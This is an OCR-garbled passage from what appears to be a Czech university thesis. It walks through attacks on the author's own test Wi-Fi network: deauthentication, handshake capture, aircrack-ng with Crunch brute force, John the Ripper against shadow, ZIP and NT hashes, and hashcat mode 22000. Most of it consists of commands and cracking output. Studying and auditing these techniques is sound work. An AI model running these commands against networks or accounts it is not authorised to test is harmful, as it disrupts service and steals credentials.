00:EQ:4C:BD:38:08 -70 78 5 0 10 130 WPA2 CCMP PSK DomaNet

BSSID STATION Rate Lost Frames Notes Probes

00:E0Q:4C:BD:38:08 | OE:59:29:14:D6:7B -64 le- 1 86 3 DomaNet
Obr. 68: Aircrack-ng, pfikaz airdump, station

Zdroj: Vlastni zpracovadni (2026)

sudo airodump-ng --bssid 00:E0:4C:BD:38:08 -c 10 -w DomaNet wlanOmon — pfikaz airodump
s vybranou MAC adresou AP, kandlem (-c), zapisem do souboru (-w) a vybranym rozhranim.
Zapisem do souboru se rozumi pojmenovani soubord, které se ziskaji z paketu, ktery se zachyti
a uloZi na disk. DuleZity je zde zejména soubor s pfiponou *.cap, kde jsou uloZeny informace
o heslu. Dale napfiklad soubor *.csv s informacemi o siti. Po spusténi prikazu se zdpisem do
souboru je nutné otevrit dals$i okno terminalu, kde se vypise pfikaz na deauthentizaci AP.
V prvnim okné s terminalem se bude sledovat zachyceni WPA handshake a ve druhém okné se
spusti pfikaz na deautentizaci AP.

sudo aireplay-ng --deauth 0 -a 00:E0:4C:BD:38:08 wlanOmon — deauthentication 0 znamena
pocet deautentizaci pouzitych proti AP, deautentizace se nezastavi, dokud se nezastavi rucné
klavesami CTRL+C. Jednd se o velmi nebezpelny krok, deauthentizace znamend, Ze kazdou
pulsekundu dojde k odpojeni AP od sité. Jinymi slovy nepujde internet na cilovém AP a obét si
tak mGze vSimnout, Ze néco neni v poradku. Svym zplsobem se jedna o DoS utok na AP, nic se
k danému AP nepfipoji, pokud pfikaz béZi. Proces deautentizace je spustén tak dlouho, dokud
se ve druhém okné termindlu nezachyti WPA handshake. Deauth 0 znamenda posilani
nekone¢né mnoho deauth paket(i, deauth 5 pét paketl, 10 deset a podobné. Parametr
-c v prikazu aireplay znamena MAC adresu konkrétniho zafizeni, na které se bude pfrikaz
provadét, Cili se nemusi utocit Cisté jen na AP, ale i na zafizeni k nému ptipojené. Napfiklad
sudo aireplay-ng --deauth 0 -a 00:E0:4C:BD:38:08 -c 88:88:76:43:56:R4 wlanOmon:
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r—(luke® kali)-[~]

Obr. 69: Aircrack-ng, ptikaz aireplay
Zdroj: Vlastni zpracovani (2026)

CH 10 ][ Elapsed: 42 s ][ 2026-04-01 19:41 ][ WPA handshake: 00:EQ:4C:BD:3

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:EQ 38:08 -65 100 393 397 0 10 13 WPA2 CCMP PSK DomaN

BSSID STATION Rate Lost Frames Notes Probes

00:E@ 38:08 BO:10:41:6A:3B:AF -71 le- b6e 0 458
Obr. 70: Aircrack-ng, zachyceni handshake
Zdroj: Vlastni zpracovadni (2026)

luke® kali ~

$ 11 | orep DomaNet _
I-rw-r—-r—- 1 root root 459130 Apr 1 19:41 nomaNet—@E.capI
-rW-r—r-— 1 root root 582 Apr I 10:41 DomaNet-02.csv
-rw-r—-r-—- 1 root root 595 Apr 1 19:41 DomaNet-02.kismet.csv
-rw-r—r-—— 1 root root 2830 Apr 1 19:41 DomaNet-02.kismet.netxml
-rw-r—r— 1 root root 595248 Apr 1 19:41 DomaNet-02.log.csv

Obr. 71: Aircrack-ng, ziskané soubory
Zdroj: Vlastni zpracovani (2026)

Soubor *.cap lze otevfit v programu Wireshark, kde Ize vyfiltrovat pakety dle protokolu EAPOL
(Extensible Authentication Protocol over LAN). Pakety EAPOL v informacni ¢asti na konci radku
ukazuji Message 1 of 4, Message 2 of 4 a podobné, coz oznacuje four-way handshake
(Ctyfcestny handshake). Dale pfi prozkoumani paketu protokolu EAPOL lze spatfit WPA Key
Data, data potfebna pro crackovani hesla:

‘ DemaNet-02.cap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

d . Z® X € =| |

L
HE

s's'|eapoL

No. Time Source Destination Protocol Length Info
6..19.833748 RealtekSemic_.. HonHaiPrecis_.. EAPOL 155 Key (Message 1 of 4)
6.. 18.036679 RealtekSemic_.. HonHaiPrecis_.. EAPOL 213 Key (Message 3 of 4)
6.. 18.138387 HonHaiPrecis_.. RealtekSemic_.. EAPOL 155 Key (Message 2 of 4)
6.. 10.140821 RealtekSemic_.. HonHaiPrecis_.. EAPOL 213 Key (Message 3 of 4)
6..18.143230 RealtekSemic_.. HonHaiPrecis_.. EAPOL 213 Key (Message 3 of 4)
8. 10.624074 RealtekSemic_.. HonHaiPrecis_.. EAPOL 155 Key (Message 1 of 4)
8.. 10.676150 RealtekSemic_.. HonHaiPrecis_.. EAPOL 155 Key (Message 1 of 4)
9..10.703180 RealtekSemic_.. HonHaiPrecis_.. EAPOL 155 Key (Message 1 of 4)

Obr. 72: Aircrack-ng, pakety EAPOL ve Wireshark
Zdroj: Vlastni zpracovdni (2026)

94



Vysoka skola polytechnicka Jihlava

v Key Information: @x888a 06
Key Length: 16 06
Replay Counter: © : 06
WPA Key Nonce: d34cbhe87fc62bBcdb5b24f6a9e245fT562eb86e9023686ec oo

Key IV: 000000000C000RE0OOOOO0OO00ODOEOOOEO0

WPA Key RSC: 0008000000000000

WFA Key ID: 0000000000EOODOO

WPA Key MIC: 000000C0000E0000000E0EEEEEEARORO

= WPA Key Data: dd14000Tacf4000000000R000E000000000000RERER0
» Tag: Vendor Specific: Ieee 802.11: RSN PMKID =

Obr. 73: Aircrack-ng, WPA Key Data ve Wireshark
Zdroj: Vlastni zpracovdni (2026)

sudo airmon-ng stop wlanOmon — po skonceni zachyceni handshake je dobré prepnout
adaptér zpét do managed mode a prikazem iwconfig ovérit, zda je skutecné v médu managed.

2.5.3 Crackovani hesel

Nyni je k dispozici soubor *.cap, ktery je klicovy pro ziskani hesla. Nejdfive se bude pokracovat
v sadé nastroju aircrack-ng a heslo se zkusi ziskat pomoci slovnikového Gtoku.

gunzip -k rockyou.txt.gz — nejprve se rozbali wordlist rockyou.txt.gz. Parametr -k zarucuje, Ze
plvodni zabaleny soubor zlistane nedotéeny a k nému se vedle vytvofi novy, rockyou.txt.

sudo aircrack-ng DomaNet-02.cap -w /usr/share/wordlists/rockyou.txt — ptikaz aircrack-ng
spusti slovnikovy uUtok na soubor DomaNet-02.cap pomoci vybraného wordlistu rockyou.txt.
Bohuzel, slovnikové Utoky maji jen malou Sanci na Uspéch, pokud v onom wordlistu nebude
heslo zachycené v souboru. Slovnikovy Utok probiha tak, Zze se z wordlistu vezme napfiklad
slovo Pavel a aircrack-ng vyzkousi Pavell123, Pavel567 nebo zkousi i znaky P4v3l, P4vel Ci
IPav3ll. Sance na Uspéch je tak miziva, pokud nebude slovo pfimo ve wordlistu. Pfi pokusu
o prolomeni hesla se také rapidné zvySuje vykon CPU (Tutorial: How to Crack WPA/WPA?2,
2010):

Aircrack-ng 1.7
[03:47:01] 14345517/14344392 keys tested (1445.71 k/s)

Time left: 1652332079 days, 18 hours, 52 minutes, 48 seconds 100.01%

| kEY NOT FOUND

Master Key : 00 00 00 00 00 @O0 00 00 00 00 00 0O 00 00 0O 0O
00 00 00 00 0O 00 00 QO 00 00 00 0O 0O 00 00 00

Transient Key : 00 00 00 @0 00 00 00 00 00 00 00 00 Q0 00 @0 0O
00 00 00 00 0O 00 00 QO 00 00 00 0O 0O 00 00 0O
00 00 00 00 00 00 00 00 00 0O 00 00 0O 00 0O 0O
00 00 00 00 00 OO 00 00 OO0 QO 00 0O 00 OO0 OO 0O

EAPOL HMAC : 00 00 00 00 00 @O0 00 00 00 00 00 0O 00 00 0O 0O

Obr. 74: Aircrack-ng, heslo nenalezeno
Zdroj: Vlastni zpracovdni (2026)
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Heslo se za pomoci slovnikového utoku nepodafilo nalézt. Na internetu je k dispozici velké
mnozZstvi wordlistli, pokud vSak slovo neni ve wordlistech obsaZeno, je témér nulova Sance
heslo zjistit.

Nastroj Crunch je jiz obsazen v zakladni verzi distribuce Kali Linux a nemusi se tak dodate¢né
instalovat. Jedna se o jednoduchy, ale silny nastroj, na jehoZz vystupu lze pouZit ndstroj
aircrack-ng i bez slovnikového utoku. Jeho sila spociva v tom, Ze na vstupu mu lze dodat
vstupni informace, které dokazou zUzit moznosti hesla podobné jako Hashcat. Svym zplsobem
z Crunche déla nastroj brute force utoku ve sluzbach aircrack-ng (Tutorial: How to Crack
WPA/WPA2, 2010).

crunch 5 9 abcdefghijkimnopqgrstuvwxyz1234567890 | aircrack-ng DomaNet-02.cap
-b 00:E0:4C:BD:38:08 -w- - zakladni sestaveni pfikazu je po vypsani nazvu ndstroje nasleduijici.
Minimalni délka hesla, maximalni délka hesla, jaké alfanumerické znaky se poutziji pro brute
force utok a poté ndsleduje vystup nastroje aircrack-ng, ktery je podobny jako pfi slovnikovém
utoku aircrack-ng jen s tou vyjimkou, Ze na konci je ukoncen -w-, Cili Zadny wordlist na vstupu.

crunch 9 9 0123456789 -t 606%%%%%% | aircrack-ng DomaNet-02.cap -b 00:E0:4C:BD:38:08
-w- - protoZe brute force uUtoky jsou neskutecné dlouhé, je k tomu zapotiebi vykonné GPU
a samotnému CPU trva jesté déle, moznosti pro prolomeni hesla se jeSté zuzi. Parametr
-t pfednastavuje prvni tfi isla hesla:

Aircrack-ng 1.7

[00:07:11] 692332 keys tested (1633.75 k/s)

KEY FOUND! [ 606 ]

Master Key : 9E B@ 46 C7 D9 6E BE E5 5A A3 78 AC 20 C1 96 Bl
/3 7E D4 31 76 D9 7C 25 DE 4A B3 5E BE 83 CE F3

Transient Key : D2 19 16 A8 4D C2 1C 12 B8 FB 7D 5F 39 EB 66 9B
3C BB 78 BD BA 20 92 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 0O 00 00 00 0O 0O
00 00 00 00 00 00 00 Q0 00 00 0O 0O 00 00 0O 0O

EAPOL HMAC : 08 7D 60 2C 95 8B 59 Bl 0C 6C D4 E4 F9 13 82 BC

Obr. 75: Aircrack-ng, heslo nalezeno
Zdroj: Vlastni zpracovdni (2026)

Pti zuZeni vyhledavacich parametrl se programu aircrack-ng za pomoci nastroje Crunch
podafilo hrubou silou prolomit heslo béhem sedmi minut. CoZz znamend, Ze Sestimistné
numerické heslo Ize prolomit velmi snadno i na starSich zafizenich. Poslednich 6 cisel bylo
z obrazku zamérné vymazano z dlvodu bezpecnosti. Z toho plyne, jak moc je sloZitost hesel
dulezita.
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2.6 John the Ripper — prolomeni hesla

John the Ripper se pouzivd pro testovani sily hesel. Analyzuje a rozpoznava rizné formaty
hash( hesel a odhaluje slaba hesla pomoci slovnikovych, single-crack a brute force utokd.
Jednd se o offline open-source nastroj pro audit hesel pfi testovani zabezpeceni. Slouzi
zejména ke kontrole sily hesel, k obnové zapomenutych hesel i k testovani hesel rznych typl
soubor( jako ZIP, RAR a podobné. Pracuje tedy s hash soubory, ne pfimo s hesly, ale s jejich
otisky. Metody, které vyuziva ke kontrole sily hesel, jsou celkem tfi (John the Ripper, 2025):

e Single-Crack Mode — vyuZiva informace z uZivatelskych G¢td pouZitim prihlasovacich
Gdaja ¢i jména. Priklad john --single hash.txt,

e Wordlist Mode — spusti slovnikovy Gtok proti hashlim tak, Ze zkousi hesla ze seznamu
slov a jejich varianty. Priklad john --wordlist=rockyou.txt hash.txt,

¢ Incremental Mode — alias brute force Utok, vyzkousi vSechny mozné kombinace znakd.
Pfiklad john --incremental hash.txt.

Nastroj John obsahuje spoustu pomocnych nastroju, které dokdzou prevést rizné formaty na
cracknutelné hashe, naptiklad zip2john (ziska hash ze ZIP souboru), rar2john (ziska hash z RAR
souboru), ssh2john (ziska hash z SSH klice) a podobné. Postup prolomeni hesla je nasleduijici.
Nejprve se ziska hash (unshadow passwd shadow > hash.txt), poté se spusti crackovani hashe
(john hash.txt) a nakonec se zobrazi vysledky (john --show hash.txt). Nastroj John the Ripper je
rychly a ma silny systém pravidel pro generovani variant hesel (John the Ripper, 2025).

2.6.1 Formaty a detekce hashi

Hash je prosté vyraz plny znakd, pismen i Cisel, ktery sam o sobé neddva zadny smysl, ale ve
skutecnosti se pod zaheshovanym vyrazem skryva heslo. Hash je prosté kryptograficky
zasifrované heslo. Zacatek hashe zacdind obvykle znakem dolaru, napfiklad SyS, podle toho lze
uréit o jaky kryptograficky typ hashe se jedna. $2yS$ je bcrypt, SyS yescrypt, $65 SHA512
a podobné, ale neni podminkou, nékteré hashe prefixy nemaji. Hashe zarucuji a posiluji
bezpecnost hesel. Konkrétni typy hashl vyZaduji konkrétni techniky, proto je tak dulezité
védét, o jaky typ hashe se jedna. John podporuje stovky hashovych formatl a zaroven je
dokazZe také automaticky rozpoznat podle prefixd nebo podle struktury. Format hashe lze
zadat i rucné, proto je dobré o nich také néco védét. Detekce formatu hashu se Fidi nékolika
pravidly (John the Ripper, 2025):

e Automaticka detekce — v pfipadé, Ze ma hash jednoznaény prefix (napfiklad $2yS, $6S
nebo SK4S), pak Ize jednodude poznat typ hashe,

o Heuristika podle délky a struktury — hashe lze poznat podle formatu, délky
a struktury. Pokud vSak nékteré hashe vypadaji podobné (napfiklad Raw MD5 a LM
DES), John se muze splést a urci Spatny typ,

e Rucné zadany format - je moiné zadat format rucné, pouze se zada prikaz john
--format=(typ) (hash.txt) a hash se poté vygeneruje dle daného formatu.
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Tab. 8: Pfiklady nékterych formatd hasha

Hash Prefix Ukdzka hashe
MD5 zadny 5d41402abc4b2a76b9719d911017c¢592
MD4 zadny a448017aaf21d8525fc10ae87aa6729d
SHA-1 zadny 29993e364706816aba3e25717850c26¢9cd0d89d
CRC32 zadny 414fa339
berypt | 22V $2y$123elmiTXUWVXFM37UY4JANQ. .
$2bS, $2as
:;:512“ S6S S6Srounds=50005abcdefghijkimnops...
scrypt ii::gtfs Sscrypt$Sin=16,r=8,p=1S...
Argon2id | Sargon2id$S | Sargon2idSv=195Sm=65536,t=3,p=45...

Zdroj: vlastni zpracovani dle Microsoft Copilot: vas Al pomocnik (2026)

john --list=formats - vypisSe viechny formaty hash, se kterymi John pracuje. Pfi zadani pfikazu
bez uréeni konkrétniho formatu hashe John rovnéz napovi o typu formatu:

luke® kali)-[~

s -
descrypt, bsdicrypt, md5crypt, md5crypt-long, bcrypt, scrypt, LM, AFS,
tripcode, AndroidBackup, adxcrypt, agilekeychain, aix-sshal, aix-ssha25
aix-ssha512, andOTP, ansible, argon2, as400-des, as4@0-sshal, asa-md5,
AxCrypt, AzureAD, BestCrypt, BestCryptVE4, bfegg, Bitcoin, Bitlocker,

bitshares, Bitwarden, BKS, Blackberry-ES1@, WoWSRP, Blockchain, chap,
416 formats (149 dynamic formats shown as just "dynamic_n" here)

Obr. 76: John the Ripper, zkraceny seznam formatu
Zdroj: Vlastni zpracovdni (2026)

2.6.2 Crackovani hash, mody

Single-Crack mode — dokaze prolomit hashe, které jsou zaloZeny na uZivatelskych specifickych
informacich, jako je jméno, uZivatelské jméno nebo jiné Udaje o uZivateli. Napfiklad pokud
existuje uZzivatelské jméno alice, John vyzkousi rzné kombinace znakd, pismen a Cisel na
jméno jako alice123, alice2025, alice2, aLicE, Allc3 a podobné. Single-Crack mode je velice
rychly, avsak ne pfili§ Uspésny, zvlasté pak, pokud je heslo sloZité nebo nema nic spole¢ného
s informacemi o uZivateli (Password cracking with John the Ripper on Linux, 2025).

john --single --format=sha512crypt hash.txt — zde je pouzito jednoduché heslo, tak aby ho
Single-Crack mode nasel, parametr format nemusel byt vypsdn, ndstroj by ho identifikoval:

98



Vysoka skola polytechnicka Jihlava

luke® kali)-[~
-$ Johi hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6% [SHA512 128/128 AVX 2.
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads

Press ‘'g' or Cirl-C {g gbort, almost any other key for status

| (Luke)

1g V:00:00:00 DONE (Z2026-04-04 21:30) 12.50g/s 487.5p/s 487.5c/s 487.5C
Use the "--show" option to display all of the cracked passwords reliabl

Session completed.
Obr. 77: John the Ripper, Single-Crack mode
Zdroj: Vlastni zpracovdni (2026)

Wordlist mode — vSechny dostupné wordlisty v systému lze najit vypsanim prikazu wordlist do
termindlu, nejpouzivanéjsi a nejobsahlejsi je vSak wordlist rockyou.txt v adresafi
Jusr/share/wordlists/. John the Ripper ma vlastni wordlist passwords.Ist v adresafi
Jusr/share/john/, odkud také bere hesla, pokud se spusti bez uréeni parametru s vybérem
slovniku. Také je mozné vytvofit si vlastni wordlist, v podstaté se jedna jen o seznam vyrazU.
Jeden radek, jeden vyraz (Password cracking with John the Ripper on Linux, 2025).

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt --max-length=10
hash.txt — heslo je opét velice snadné, aby jej slovnik nasel:

luke® kali)-[~
$ joh f - : T\
hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$% [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
S el L 2O Lo _abort, almost any other key for status
( )
ri;iUTEUTUT'SB'UﬂﬂE'TQﬂ?l—@4 04 21:57) 0.008614g/s 756.3p/s 756.3c/s 756.3C/
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obr. 78: John the Ripper, Wordlist mode
Zdroj: Vlastni zpracovadni (2026)

Incremental mode - vyzkousi kazdy mozny znak a kazdou mozZnou variaci znakd. Nejpomalejsi,
ale nejucinnéjsi na silnd hesla, nejlépe na nahodnd nebo neodhadnutelnd hesla. Zacina
kombinaci abc a pokracuje abc123, ¢im vice se limituji moZnosti vyhledavani hesla, napfiklad
minimalni a maximalni délkou hesla, formatem a tak podobné, proto rychleji se heslo najde.
Brute force utok je zpUsob nalezeni hesla naprosto spolehlivy a jisty, ale za cenu dlouhé doby
a velké spotieby zdrojli (Password cracking with John the Ripper on Linux, 2025).

john --incremental --format=sha512crypt --min-length=5 --max-length=7 hash.txt:
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luke® kali)-[~]
$ johi ST .
hash.txt

Using default input encoding: UTF-8

Loaded 1 password hash (shaS512crypt, crypt(3) $6% [SHA512 128/128 AVX 2x]
Cost 1 (iteration count) is 5000 for all loaded hashes

Will run 4 OpenMP threads

IDreqq e or Cirl _C tg abort, almost any other key for status

( )
1g 0:00:00:00 DONE (202b-04-04 22:22) 1.538g/s 393.8p/s 393.8c/s 393.8C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obr. 79: John the Ripper, Incremental mode
Zdroj: Vlastni zpracovdni (2026)

2.6.3 Crackovani hasht, ostatni

Systémové hashe — v pripadé obnoveni zapomenutého hesla nebo prosté jen ke zjisténi
zaheshovaného hesla ze souboru /etc/shadow, Ize opét vyuZit sluzeb nastroje John the Ripper.
Stadi zkopirovat fadek uzivatele, jehoz heslo chceme ziskat, ze souboru /etc/passwd nejlépe do
nového souboru se stejnym nazvem passwd v jiném adresafi, kde bude pouze zminovany
radek. Stejné tak i radek se zaheshovanym heslem uzivatele ze souboru /etc/shadow, opét do
nového souboru se stejnym nazvem shadow. Je lepsi délat kopie souborU. Poté se oba soubory
spoji do jednoho prikazem unshadow, cozZ vytvori soubor Citelny pro Johna (Password cracking
with John the Ripper on Linux, 2025).

unshadow passwd shadow > unshadow.txt — spoji oba soubory do jednoho.
john -w=wordlist.txt unshadow.txt — takto ziskame systémové heslo ze zaheshované podoby:

luke® kali)-[~
$ unshadow passwd shadow > unshadow.txt

luke® kali)-[~]
-$ cat unshadow.txt
luke: $6$wCSyGl.ICrBZ0f2h$0bUXwHXFA. z9yQdfHNSVIFt . x4t z9Q4zLbGoAKIIXUkp1V1Q
ke,,,:/home/luke:/usr/bin/zsh

luke kall [~
$ - joht dlist unshadow. txt

Warnlng detected hash type "sha512crypt", but the string is also recogni
Use the "--format=HMAC-SHA256" option to force loading these as that type
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6% [SHAS512 128/128 AVX 2x]
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run &4 OpenMP threads

S et O _tg _abort, almost any other key for status

( )

%WWMUT!—EM 04 17:26) 50.00g/s 550.0p/s 550.0c/s 550.0C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obr. 80: John the Ripper, unshadow heslo
Zdroj: Vlastni zpracovani (2026)

ZIP a RAR Hash — nejprve se vytvoti soubor ZIP s heslem, aby se pozdéji mohl z hesla vytvofit
hash. Pomoci Johna se hash prolomi a zjisti se heslo.

100



Vysoka skola polytechnicka Jihlava

zip --password 123456 shadow.zip shadow.txt — zaheshuje se ZIP soubor.
zip2john shadow.zip > shadow.txt — pfikazem zip2john se vytvoti soubor s hashem.
cat shadow.txt — potvrzeni, zda se jedna skutecné o hash.

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt — zjisténi hesla ZIP souboru ze
zaheshovaného radku v souboru shadow.txt. Podobné funguje i zjisténi hesla RAR souboru, jen
s vyjimkou v podobé pfikazu rar2john misto zip2john:

luke® kali)-[~
$ zip2john shadow.zip > shadow.txt
ver 2.0 efh 5455 efh 7875 shadow.zip/shadow.txt PKZIP Encr: TS_chk, cmp
8

luke® kali)-[~]
$ cat shadow.txt
shadow.zip/shadow.txt:$pkzip$1*1#2%0%13+9%f04c790b*Q*44+8+13%98e3*1c33e
shadow.zip::shadow.zip

luke® kali)-[~
$ Joh r | Y ] ordlists/r xt shadow.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run &4 OpenMP threads

Press 'g' or Ctrl-C tg gbort. almost any other key for status

I ( mg'l
1g V000 0Y DUNE (202b-04-04 251 .00g/s 409600p/s 409600c/s 4096
Use the "--show" option to display all of the cracked passwords reliabl
Session completed.

Obr. 81: John the Ripper, ZIP hash

Zdroj: Vlastni zpracovani (2026)

Windows Hash — John the Ripper dokaze crackovat hashe i z prostredi Windows. Windows
uklada hesla jako NT hash (MD4 otisk hesla v Unicode). PouZivd se v NTLM autentizaci, pfi
prihlasovani ke starsim sluzbam. Hashe se ukladaji v SAM databazi nebo v NTDS.dit.

john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT hash.txt:
luke® kali)-[~
$ john —-wordl: ordli
Using default input encoding: UTF-8

Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4

g or Ctrl- abort, almost any other key for status

I (2] !

g 0:00:00: 26-04-05 10:41) 100.0g/s 9600p/s 9600c/s 9600C/s 12
Use the "-—-show —format=NT" options to display all of the cracked passwo
Session completed.

hash.txt

Obr. 82: John the Ripper, NT hash
Zdroj: Vlastni zpracovadni (2026)

Mask attack — podobné jako nastroje Crunch a Hashcat, i John the Ripper pracuje s mask
attack, pokud se ¢astecné zna heslo a nejlépe i pocet a typ znakl. K mask attack nelze pouzit
Single-Crack, Incremental ani Wordlist mode, protoZe se jedna svym zplisobem o samostatny
mod.
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john --format=NT --mask='pas?I?I?1?1?2I' hash.txt — znd se pocet znakll, prvni tfi znaky
a vSechny znaky jsou pismena:

1uke kal1 ~
% =NT --mask- hash. txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Pre ' o abort, almost any other key for status

100 026-04-05 11:21) 4.545g/s 23260Kp/s 23260Kc/s 2326
Use the "-—-show —-format=NT" options to display all of the cracked pass
Session completed.

Obr. 83: John the Ripper, Mask attack
Zdroj: Vlastni zpracovadni (2026)

john.pot — vysledky ziskanych hesel se ukladaji do souboru v adresafi /user/.john, proto John
nikdy necrackuje heslo dvakrat a napisSe, Ze heslo jiz bylo ziskano. V pfipadé, Ze se pouZije pred
prikazem sudo, John uklada vysledky hesel do stejného souboru, ale v adreséri /root/.john.

john --show hash.txt — vypise jiZ ziskana hesla z daného souboru.
cat /home/user/.john/john.pot — vypise ziskana hesla i s jejich hashy:

: luke"ﬁkali ~
% john -5 hash.txt
luke: 123456 20547:0:99999:7 :

1 password hash cracked, @ left

~(luke® kali)-[~]

4% cat .john/john.pot
$6$1wzp3TukwwAATZMy$UBCjdxZinPjDU9INkfAdgWGBstX48/7SwV1: Lukel123
$6$hATWFEfnA.aKhQiQ$0onbzrn7C8v8A4DXWdBIuXbHm3UJWYxjul:adminl123
$6$xAVg3DXj5cIANayj$x/4A4nhzYL2DINWFfMvwYzpRIfqu7.Ps5K/:123456
$pkzip$1+14240+13%9%F04c790b*0x$/pkzip$: 123456

Obr. 84: John the Ripper, soubor john.pot
Zdroj: Vlastni zpracovdni (2026)

John automaticky identifikuje format hashe a v pfipadé neurceni typu formatu v prikazu je
vypise na obrazovku, coz miZe byt rychlejsi metoda, nez hledani v seznamu formata grepem.

john hashes.txt:

luke® kali)-[~]

$ sudo john hashes.txt
[sudo] password for luke:
Warning: detected hash type "LM", but the string is also recognized as
Use thel"--format=dynamic=md5(3%p)"} option to force loading these as tha
Warningl_qw but the string is also recognized as
Use the]"” —format=HAVAL-128-4" pption to force loading these as that ty

Obr. 85: John the Ripper, identifikace hasht
Zdroj: Vlastni zpracovani (2026)

Dalsi uzite¢né prikazy mohou byt:

¢ hashid (hash) - pfikaz, ktery identifikuje a vypise typ hashe,
¢ hash-identifier (hash.txt) - pfikaz, ktery identifikuje a vypiSe typ hashe ze souboru.
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2.6.4 Nastroj Hashcat

Hashcat je nejspise nejlepsi nastroj na prolomeni hesla i hash(. Od doby verze 6.0, kdy presel
na novy hash mode 22000 se jiz nemusi pfi pokusech o prolomeni zabezpeceni Wi-Fi WPA
a WPA?2 ziskat handshake tak, Ze klienta odpoji od sité tak, jak tomu bylo u nastroje aircrack-
ng. Dals$i vyhoda je v tom, Ze se ziskd pouze jeden soubor se vSemi typy handshake
a s informacemi o heslu (PMKID a EAPOL protokoly v jednom souboru). Jiz se nejednd o binarni
format, jedna se jen o text, coz usnadnuje kopirovani, vkladani a podobné. Hashcat také
obsahuje nejlepsi nastroje pro zachyceni WPA handshake ve formdatu hash médu 22000. Opét
jsou k dispozici tfi typy Utokd na hesla Dictionary utok, Brute-Force Utok a Rule-based utok.
Problematika a fungovdni nastroje Hashcat je vsak slozitéjsi, zde se predstavi jen zakladni
operace (Cracking WPA/WPA2 with hashcat, 2025).

Priprava prostfedi je podobnd jako u nastroje aircrack-ng. Zapotiebi jsou navic nastroje
hcxdumptool a hcxpcapngtool (hcxstools). Existuji dva zpUsoby, jak je instalovat, klasicky
pfikazem sudo apt install hcxdumptool a sudo apt install hextools (tato verze instalace vsak
zplsobuje problémy, protoze neni aktudlni), druhy zplsob je instalovat hcxdumptool
a hcxtools pfimo ze stranek  GitHubu  (https://github.com/ZerBea/hcxdumptool,
https://github.com/ZerBea/hcxtools). Rychlost crackovani hesla zavisi na vykonnosti GPU
a pokud neni GPU dostate¢né vykonné, tak pomlze CPU, CPU vSak nebyva tak vykonné jako
GPU. Rychlost crackovani hesla lze ocenit zejména pfi Brute-Force utokim. Je dobré také
k tomu mit néjaké predpoklady, aby se zuZilo vyhledavani, napriklad starSi TP-Link routery
pouzivali jen osmi Cislicovy numericky hesla, coz ohromné zuzi vybér na 8 nahodnych cisel.
Nasledujici kroky nainstaluji nastroj hcxdumptool (Cracking WPA/WPA2 with hashcat, 2025):

e git clone https://github.com/ZerBea/hcxdumptool.git — zkopiruje adresar
z GitHub.com na disk do aktualniho adresare,

e cd /home/luke/hcxdumptool — pfesune se do potfebného adresare,

e sudo apt-get install libcurl4-openssl-dev libssl-dev pkg-config — nainstaluje zavislosti,

e sudo apt install libpcap-dev — doinstaluje vyvojové knihovny libpcap, potfebné ke
kompilaci,

e make - instaluje potfebny software,

e sudo make install - instaluje potrebny software.

Nyni Ize ndstroj hcxdumptool pouZivat. Nastroj Hashcat je jiz v Kali Linuxu predinstalovany,
pfikazem sudo apt get install hashcat Ize ovéfit jeho aktualni verzi. Nasledujici kroky vedou
k ziskani informaci o sitovém provozu:

e sudo systemctl stop NetworkManager.service — vypne sluzbu NetworkManager,

e sudo systemctl stop wpa_supplicant.service — vypne wpa supplicant,

e hcxdumptool -i wlan0 -w dumpfile.pcapng --rds=1 -F — nastroj hcxdumptool definuje
rozhrani a uloZi vSechny ziskané informace o sitovém provozu do souboru
dumpfile.pcapng. Parametr --rds znamenda smérovani antény a zpUlsob, jakym se sbiraji
ramce. Parametr -F znamena vynuceni zachytavani vsech ramcu,

e sudo systemctl start wpa_supplicant.service — zapne sluzbu wpa supplicant,

e sudo systemctl start NetworkManager.service - zapne sluzbu NetworkManager,
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o hcxpcapngtool -0 hash.hc22000 -E wordlist dumpfile.pcapng — prevede zachyceny
provoz do hash formatu 22000. Parametr -E wordlist uloZi vSechny zachycené nazvy
SSID do souboru s ndzvem wordlist,

o hashcat -m 22000 hash.hc22000 wordlist.txt - spusti Hashcat slovnikovy uUtok na
soubor ziskany z WPA provozu za pomoci slovniku wordlist.txt,

e hcxpcapngtool -o output.hc22000 input.cap — prevod souboru *.cap na soubor
*.hc22000,

e hashcat -m 22000 -a 3 output.hc22000 606?d?d?d?d?d?d — Utok s maskou na ciselné
heslo o deviti znacich zacinajici Cisly 606, parametr -a 3 znamend masku, parametr
-m znamena typ hashe:

f2393cf441259@d73e18fc3473e3af@4:@@e@4cbd38@8:b@l@#lﬁaBbaf:DomaNetlEEE::::::]

SESSE10Ma s sesewss DAShcat

Status...........: Cracked

Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)

Hash.Target......: DomaNet.hc22000

Time.Started.....: Tue Apr 7 20:04:05 2026 (9 mins, 25 secs)
Time.Estimated ... : Tue Apr 7 20:13:30 2026 (@ secs)

Kernel.Feature ... : Pure Kernel (password length 8-63 bytes)
Guess.Mask.......: 6062d?d?d?d?d?d [9]

Guess.Queue......: 1/1 (100.00%)

Speed.#01........: 1657 H/s (17.63ms) @ Accel:60 Loops:512 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 936000/1000000 (93.60%)
